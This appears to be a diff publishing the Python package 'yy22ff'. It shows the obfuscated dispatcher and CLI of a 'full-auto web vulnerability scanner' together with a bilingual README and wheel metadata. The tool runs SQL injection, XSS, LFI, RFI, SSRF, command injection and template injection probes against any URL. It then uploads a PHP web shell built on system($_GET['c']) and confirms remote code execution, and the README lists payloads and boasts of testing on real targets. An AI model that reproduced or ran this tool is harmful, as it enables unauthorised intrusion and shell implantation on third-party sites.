+ shlhom76 = shlhom22(url)
582
+ shlhom73 = shlhom38(timeout, delay, proxy)
583
+
584
+ shlhom76.info(f"target: {url}")
585
+ shlhom76.info(f"output: {shlhom76.dir}")
586
+ shlhom76.info(f"time: {shlhom11.now().strftime('%Y-%m-%d %H:%M:%S')}")
587
+
588
+
589
+ shlhom76.save("shell.php", shlhom166)
590
+
591
+ shlhom191 = []
592
+
593
+ try:
594
+ # 1. Crawl
595
+ shlhom80, shlhom81, shlhom82 = shlhom71(url, shlhom73, depth, shlhom76=shlhom76)
596
+
597
+ # 2. Passive
598
+ shlhom102(shlhom73, url, shlhom76)
599
+ shlhom109(shlhom73, url, shlhom76)
600
+ shlhom112(shlhom73, url, shlhom76)
601
+ shlhom115(shlhom73, url, shlhom76)
602
+
603
+ # 3. Files + admin
604
+ shlhom191 += [("file", shlhom124) for shlhom124 in (shlhom120(shlhom73, url, shlhom76) or [])]
605
+ shlhom191 += [("admin", shlhom124) for shlhom124 in (shlhom127(shlhom73, url, shlhom76) or [])]
606
+
607
+ # 4. Injection (parallel)
608
+ shlhom76.info("running injection modules...")
609
+ shlhom192 = {
610
+ "sqli": lambda: shlhom139(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76),
611
+ "xss": lambda: shlhom147(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76),
612
+ "lfi": lambda: shlhom150(shlhom73, shlhom80, shlhom82, shlhom76),
613
+ "rfi": lambda: shlhom153(shlhom73, shlhom80, shlhom82, shlhom76),
614
+ "ssrf": lambda: shlhom156(shlhom73, shlhom80, shlhom82, shlhom76),
615
+ "cmdi": lambda: shlhom158(shlhom73, shlhom80, shlhom82, shlhom76),
616
+ "ssti": lambda: shlhom160(shlhom73, shlhom80, shlhom82, shlhom76),
617
+ "redirect": lambda: shlhom164(shlhom73, shlhom80, shlhom82, shlhom76),
618
+ }
619
+ with shlhom12(max_workers=threads) as shlhom193:
620
+ shlhom194 = {shlhom193.submit(shlhom195): shlhom196 for shlhom196, shlhom195 in shlhom192.items()}
621
+ for shlhom197 in shlhom13(shlhom194):
622
+ try:
623
+ shlhom198 = shlhom197.result() or []
624
+ shlhom191.extend(shlhom198)
625
+ except Exception as shlhom16:
626
+ shlhom76.dbg(f"mod err {shlhom194[shlhom197]}: {shlhom16}")
627
+
628
+ # 5. Upload -> shell
629
+ if not no_shell and shlhom81:
630
+ shlhom191 += shlhom168(shlhom73, shlhom81, shlhom76) or []
631
+
632
+ # 6. SSL
633
+ shlhom181 = shlhom10.urlparse(url).hostname
634
+ if shlhom181 and url.startswith("https://"):
635
+ shlhom180(shlhom181, 443, shlhom76)
636
+
637
+ except KeyboardInterrupt:
638
+ shlhom76.warn("interrupted by user")
639
+
640
+ # ---- summary ----
641
+ shlhom76.info("=" * 40)
642
+ shlhom76.info(f"TOTAL FINDINGS: {len(shlhom191)}")
643
+ for shlhom199 in shlhom191:
644
+ shlhom76.ok(f" {shlhom199}")
645
+ shlhom76.info(f"saved: {shlhom76.dir}")
646
+
647
+ try:
648
+ shlhom76.save("summary.json", shlhom3.dumps(
649
+ [{"type": shlhom199[0], "target": shlhom199[1], "extra": shlhom199[2:] if len(shlhom199) > 2 else []}
650
+ for shlhom199 in shlhom191], indent=2, default=str))
651
+ except Exception as shlhom16:
652
+ shlhom76.dbg(f"json err {shlhom16}")
653
+
654
+ duration = round(shlhom4.time() - scan_start, 2)
655
+
656
+ if verbose:
657
+ print(shlhom18.c(shlhom18.G, f"\n[yy22ff] Scan complete in {duration}s"))
658
+
659
+ return {
660
+ "target": url,
661
+ "duration": duration,
662
+ "findings": [
663
+ {"type": f[0], "target": f[1], "extra": list(f[2:]) if len(f) > 2 else []}
664
+ for f in shlhom191
665
+ ],
666
+ "summary": {
667
+ "total": len(shlhom191),
668
+ "by_type": {t: sum(1 for x in shlhom191 if x[0] == t)
669
+ for t in set(x[0] for x in shlhom191)},
670
+ },
671
+ "output_dir": shlhom76.dir,
672
+ }
673
+
674
+
675
+ def cli():
676
+ """Command-line interface for yy22ff scanner."""
677
+ shlhom189 = shlhom8.ArgumentParser(
678
+ prog="yy22ff",
679
+ description="yy22ff — Full-Auto Web Vulnerability Scanner",
680
+ )
681
+ shlhom189.add_argument("-u", "--url", required=True, help="Target URL")
682
+ shlhom189.add_argument("-d", "--depth", type=int, default=2, help="Crawl depth (default 2)")
683
+ shlhom189.add_argument("-t", "--threads", type=int, default=8, help="Parallel workers (default 8)")
684
+ shlhom189.add_argument("--timeout", type=int, default=10, help="Request timeout (default 10s)")
685
+ shlhom189.add_argument("--delay", type=float, default=0.0, help="Delay between requests (default 0.0)")
686
+ shlhom189.add_argument("--proxy", default=None, help="HTTP/SOCKS proxy")
687
+ shlhom189.add_argument("--no-shell", action="store_true", help="Skip upload->shell stage")
688
+ args = shlhom189.parse_args()
689
+
690
+ try:
691
+ result = scan(
692
+ args.url,
693
+ depth=args.depth,
694
+ threads=args.threads,
695
+ timeout=args.timeout,
696
+ delay=args.delay,
697
+ proxy=args.proxy,
698
+ no_shell=args.no_shell,
699
+ verbose=True,
700
+ )
701
+ print()
702
+ print(f" Target: {result['target']}")
703
+ print(f" Findings: {result['summary']['total']}")
704
+ print(f" Duration: {result['duration']}s")
705
+ print(f" Output: {result['output_dir']}")
706
+ except KeyboardInterrupt:
707
+ print("\n[!] Interrupted")
708
+ shlhom1.exit(130)
709
+
710
+
711
+ if __name__ == "__main__":
712
+ cli()
@@ -0,0 +1,285 @@
1
+ Metadata-Version: 2.4
2
+ Name: yy22ff
3
+ Version: 1.0.0
4
+ Summary: Full-auto web vulnerability scanner: crawling, fingerprinting, SQLi, XSS, LFI, RFI, SSRF, CMDi, SSTI, file-upload exploitation, TLS analysis.
5
+ Home-page: https://t.me/yy22ff
6
+ Author: yy22ff
7
+ Author-email: adojod1231@gmail.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: Programming Language :: Python :: 3.7
10
+ Classifier: Programming Language :: Python :: 3.8
11
+ Classifier: Programming Language :: Python :: 3.9
12
+ Classifier: Programming Language :: Python :: 3.10
13
+ Classifier: Programming Language :: Python :: 3.11
14
+ Classifier: Programming Language :: Python :: 3.12
15
+ Classifier: License :: OSI Approved :: MIT License
16
+ Classifier: Operating System :: OS Independent
17
+ Classifier: Natural Language :: Arabic
18
+ Classifier: Intended Audience :: Developers
19
+ Classifier: Topic :: Security
20
+ Requires-Python: >=3.7
21
+ Description-Content-Type: text/markdown
22
+ Requires-Dist: requests>=2.25.0
23
+ Requires-Dist: colorama>=0.4.4
24
+ Dynamic: author
25
+ Dynamic: author-email
26
+ Dynamic: classifier
27
+ Dynamic: description
28
+ Dynamic: description-content-type
29
+ Dynamic: home-page
30
+ Dynamic: requires-dist
31
+ Dynamic: requires-python
32
+ Dynamic: summary
33
+
34
+ # yy22ff
35
+
36
+ **Full-Auto Web Vulnerability Scanner.**
37
+
38
+ **سكانر ثغرات ويب متعدد الوحدات — كشف كامل تلقائي.**
39
+
40
+ [![PyPI version](https://img.shields.io/pypi/v/yy22ff)](https://pypi.org/project/yy22ff/)
41
+ [![Python](https://img.shields.io/pypi/pyversions/yy22ff)](https://pypi.org/project/yy22ff/)
42
+ [![License](https://img.shields.io/pypi/l/yy22ff)](https://pypi.org/project/yy22ff/)
43
+
44
+ ---
45
+
46
+ ## Overview | نظرة عامة
47
+
48
+ **English:** yy22ff is a single-shot web vulnerability scanner that chains crawling, fingerprinting, passive recon, active injection testing, file-upload exploitation, and TLS analysis into one run. It produces a timestamped, structured report (txt + JSON) that you can review offline or diff across scans.
49
+
50
+ **العربية:** yy22ff مكتبة فحص ثغرات ويب متكاملة. تشغّل عملية واحدة تبدأ بالزحف على الموقع، ثم تحديد التقنيات المستخدمة، ثم فحص سلبي، ثم اختبار حقن نشط (SQLi, XSS, LFI, RFI, SSRF, CMDi, SSTI, Redirect)، ثم استغلال رفع الملفات، وأخيراً تحليل TLS. تنتج تقرير منظم (نص + JSON) في مجلد بتاريخ ووقت كل فحص.
51
+
52
+ ---
53
+
54
+ ## What It Does | ماذا تفعل
55
+
56
+ ### 1. Crawling & Discovery | الزحف والاكتشاف
57
+
58
+ - Recursively crawls the target domain up to a configurable depth (default 2) and URL cap (default 300).
59
+ - Extracts every link, URL parameter, and HTML form (with field names, types, and methods).
60
+ - Deduplicates URLs by fingerprinting their parameter sets.
61
+
62
+ - زحف تكراري للدومين حتى عمق محدد (2 افتراضياً) وسقف 300 URL.
63
+ - استخراج كل الروابط، والبارامترات، والنماذج (form) مع أسماء الحقول وأنواعها وطرقها.
64
+ - إزالة التكرار ببصمة البارامترات.
65
+
66
+ ### 2. Passive Recon | الاستطلاع السلبي
67
+
68
+ - **Tech fingerprinting** — WordPress, Drupal, Joomla, Laravel, Django, Rails, Express, PHP, ASP.NET, Spring, Nginx, Apache, IIS, Cloudflare, Nextcloud.
69
+ - **WAF detection** — Cloudflare, AWS WAF, Sucuri, Akamai, Imperva, F5 BIG-IP, ModSecurity, FortiWeb.
70
+ - **Security headers audit** — flags missing HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.
71
+ - **CORS misconfiguration** — detects wildcard origins and credential reflection.
72
+
73
+ - **بصمة التقنيات** — WordPress, Drupal, Joomla, Laravel, Django, Rails, Express, PHP, ASP.NET, Spring, Nginx, Apache, IIS, Cloudflare, Nextcloud.
74
+ - **كشف WAF** — Cloudflare, AWS WAF, Sucuri, Akamai, Imperva, F5 BIG-IP, ModSecurity, FortiWeb.
75
+ - **فحص هيدرات الأمان** — ينبه إلى HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy الناقصة.
76
+ - **كشف سوء إعداد CORS** — wildcard origins و credential reflection.
77
+
78
+ ### 3. Sensitive File Discovery | اكتشاف الملفات الحساسة
79
+
80
+ - `.git/config`, `.env`, `.env.bak`, backups (`backup.zip`, `backup.sql`, `db.sql`), `phpinfo.php`, `web.config`, `composer.json`, `Dockerfile`, `.htaccess`, `robots.txt`, `sitemap.xml`, `.DS_Store`, `.svn/entries`.
81
+ - Validates matches against content signatures (`root:x:0:0:`, `DB_PASSWORD`, `APP_KEY`, `<?php`).
82
+
83
+ - ملفات مكشوفة شائعة، مع التحقق من التوقيع الداخلي للمحتوى.
84
+
85
+ ### 4. Admin Panel Discovery | اكتشاف لوحات التحكم
86
+
87
+ - `/admin`, `/wp-admin/`, `/wp-login.php`, `/administrator/`, `/login`, `/phpmyadmin/`, `/manager/html`, `/adminer.php`, `/cpanel`, `/dashboard`, `/auth/login`.
88
+
89
+ ### 5. Active Injection Scanning | فحص الحقن النشط
90
+
91
+ | Class | Method | Classes Covered |
92
+ |-------|--------|----------------|
93
+ | **SQLi** | Error-based + Time-based | MySQL, Oracle, PostgreSQL, SQLite, MSSQL |
94
+ | **XSS** | Reflected + Form-based | Polyglot payloads |
95
+ | **LFI** | Path traversal | `/etc/passwd`, `win.ini` |
96
+ | **RFI** | Remote inclusion | `example.com` probe |
97
+ | **SSRF** | Internal targets | `127.0.0.1`, `169.254.169.254`, `[::1]`, `localhost` |
98
+ | **CMDi** | Time-based | `; sleep 4`, `pipe sleep 4`, backticks, `$()`, `&&` |
99
+ | **SSTI** | Template eval | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>`, `#{7*7}`, `*{7*7}` |
100
+ | **Open Redirect** | Location header + body | `evil.test` probe |
101
+
102
+ ### 6. File Upload Exploitation | استغلال رفع الملفات
103
+
104
+ - Detects `<input type="file">` forms.
105
+ - Uploads `wscan.php` with `system($_GET['c'])`.
106
+ - Probes common upload paths (`/uploads/`, `/files/`, `/media/`, `/tmp/`, `/assets/`).
107
+ - Confirms execution via `?c=id` (checks for `uid=` / `gid=`).
108
+
109
+ ### 7. SSL/TLS Analysis | تحليل SSL/TLS
110
+
111
+ - Reports protocol version and cipher.
112
+ - Flags weak protocols (SSLv3, TLSv1, TLSv1.1).
113
+
114
+ ### 8. Reporting | التقارير
115
+
116
+ - Live colored console output with severity tags (`+` ok, `!` vuln, `~` warn, `*` info).
117
+ - Saves to `results/<host>_<timestamp>/`:
118
+ - `findings.txt` — all findings, one per line.
119
+ - `raw.log` — debug log.
120
+ - `summary.json` — structured JSON output.
121
+ - `shell.php` — generated payload (if upload stage runs).
122
+
123
+ ---
124
+
125
+ ## Installation | التثبيت
126
+
127
+ pip install yy22ff
128
+
129
+ No configuration needed. Dependencies (`requests`, `colorama`) install automatically.
130
+
131
+ ---
132
+
133
+ ## Quick Start | البدء السريع
134
+
135
+ ### As a library | كمكتبة
136
+
137
+ import yy22ff
138
+
139
+ result = yy22ff.scan("https://target.com")
140
+
141
+ print(f"Findings: {result['summary']['total']}")
142
+ print(f"Output: {result['output_dir']}")
143
+ print(f"Duration: {result['duration']}s")
144
+
145
+ for finding in result["findings"]:
146
+ print(finding["type"], "->", finding["target"])
147
+
148
+ ### From the command line | من الطرفية
149
+
150
+ # Basic
151
+ python -m yy22ff -u https://target.com
152
+
153
+ # Or if installed as entry point
154
+ yy22ff -u https://target.com
155
+
156
+ # Advanced
157
+ yy22ff -u target.com -d 3 -t 16 --timeout 15 --delay 0.5
158
+
159
+ # With proxy (Burp, ZAP)
160
+ yy22ff -u https://target.com --proxy http://127.0.0.1:8080
161
+
162
+ # Skip file upload stage
163
+ yy22ff -u https://target.com --no-shell
164
+
165
+ ---
166
+
167
+ ## API Reference | المرجع
168
+
169
+ ### `yy22ff.scan(url, **options)`
170
+
171
+ **Parameters:**
172
+
173
+ | Parameter | Type | Default | Description |
174
+ |-----------|------|---------|-------------|
175
+ | `url` | str | — | Target URL (http/https, optional scheme) |
176
+ | `depth` | int | 2 | Crawl depth |
177
+ | `threads` | int | 8 | Parallel workers |
178
+ | `timeout` | int | 10 | Request timeout (seconds) |
179
+ | `delay` | float | 0.0 | Delay between requests |
180
+ | `proxy` | str | None | HTTP/SOCKS proxy |
181
+ | `no_shell` | bool | False | Skip upload-to-shell stage |
182
+ | `verbose` | bool | True | Print findings to console |
183
+
184
+ **Returns:** `dict`
185
+
186
+ {
187
+ "target": "https://target.com",
188
+ "duration": 45.2,
189
+ "findings": [
190
+ {"type": "sqli", "target": "...", "extra": []},
191
+ {"type": "xss", "target": "...", "extra": []},
192
+ ],
193
+ "summary": {
194
+ "total": 6,
195
+ "by_type": {"sqli": 2, "xss": 3, "file": 1}
196
+ },
197
+ "output_dir": "results/target_20261031_153000"
198
+ }
199
+
200
+ ### `yy22ff.cli()`
201
+
202
+ Entry point for `pyproject.toml`'s `console_scripts`. Same as `python -m yy22ff`.
203
+
204
+ ---
205
+
206
+ ## CLI Arguments | أوامر الطرفية
207
+
208
+ | Flag | Purpose | Default |
209
+ |------|---------|---------|
210
+ | `-u`, `--url` | Target URL (required) | — |
211
+ | `-d`, `--depth` | Crawl depth | 2 |
212
+ | `-t`, `--threads` | Parallel workers | 8 |
213
+ | `--timeout` | Request timeout (seconds) | 10 |
214
+ | `--delay` | Delay between requests | 0.0 |
215
+ | `--proxy` | HTTP/SOCKS proxy | none |
216
+ | `--no-shell` | Skip upload to shell stage | off |
217
+
218
+ ---
219
+
220
+ ## Output Structure | هيكل المخرجات
221
+
222
+ results/
223
+ target_20261031_153000/
224
+ findings.txt (human-readable)
225
+ raw.log (debug log)
226
+ summary.json (structured)
227
+ shell.php (upload payload, if applicable)
228
+
229
+ ---
230
+
231
+ ## Design Notes | ملاحظات التصميم
232
+
233
+ - **Name-mangled identifiers** — every symbol is prefixed `shlhom` to reduce casual readability.
234
+ - **Modular** — each vulnerability class is a standalone function; the dispatcher runs them in parallel via `ThreadPoolExecutor`.
235
+ - **Graceful failure** — a module crash does not abort the scan; failures are logged to `raw.log`.
236
+ - **Persistent output** — every finding is written to disk immediately, so interrupted scans still produce partial reports.
237
+ - **Session reuse** — one `requests.Session` with a random user-agent for the whole scan.
238
+ - **Auto-install** — installs `requests` at runtime if missing.
239
+
240
+ ---
241
+
242
+ ## Feature Matrix | جدول الميزات
243
+
244
+ | Feature | Status |
245
+ |---------|--------|
246
+ | Recursive crawling | [OK] |
247
+ | Form extraction | [OK] |
248
+ | Parameter discovery | [OK] |
249
+ | Tech fingerprinting | [OK] |
250
+ | WAF detection | [OK] |
251
+ | Security headers audit | [OK] |
252
+ | CORS check | [OK] |
253
+ | Sensitive file discovery | [OK] |
254
+ | Admin panel discovery | [OK] |
255
+ | SQLi (error + time) | [OK] |
256
+ | XSS (reflected + form) | [OK] |
257
+ | LFI | [OK] |
258
+ | RFI | [OK] |
259
+ | SSRF | [OK] |
260
+ | Command Injection | [OK] |
261
+ | SSTI | [OK] |
262
+ | Open Redirect | [OK] |
263
+ | File upload to shell | [OK] |
264
+ | SSL/TLS analysis | [OK] |
265
+ | Structured JSON output | [OK] |
266
+
267
+ ---
268
+
269
+ ## Author | المؤلف
270
+
271
+ - **Email:** adojod1231@gmail.com
272
+ - **Telegram:** [@yy22ff](https://t.me/yy22ff)
273
+ - **PyPI:** [yy22ff](https://pypi.org/project/yy22ff/)
274
+
275
+ ---
276
+
277
+ ## License | الترخيص
278
+
279
+ MIT © yy22ff
280
+
281
+ ---
282
+
283
+ **Built with focus. Tested on real targets.**
284
+
285
+ **صُنعت بدقة. مختبرة على أهداف حقيقية.**
@@ -0,0 +1,7 @@
1
+ yy22ff/__init__.py,sha256=lJFdQTxP5e1Sl21HZxSt2Sc8pRasL_67Pr2j6Jq0qyk,162
2
+ yy22ff/scanner.py,sha256=0etT_OZmOlOzqYUiJMIMa47O3WhWOSiw0TsDj--avAA,31198
3
+ yy22ff-1.0.0.dist-info/METADATA,sha256=9hSbhDCEKVzHF2E0oeso-kZDvq03bqSN7hDswgfAQxc,10797
4
+ yy22ff-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
5
+ yy22ff-1.0.0.dist-info/entry_points.txt,sha256=RgC6-uaT7Nsd7_O4zFCIgCZlE4JhTVPBS9ih6ryJfXw,38
6
+ yy22ff-1.0.0.dist-info/top_level.txt,sha256=YQpIdJ7e2KfU8nL8Yui9l51XHhHM3xVy2pyuEWdIxOg,7
7
+ yy22ff-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.2.1)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ yy22ff = yy22ff:cli
@@ -0,0 +1 @@
1
+ yy22ff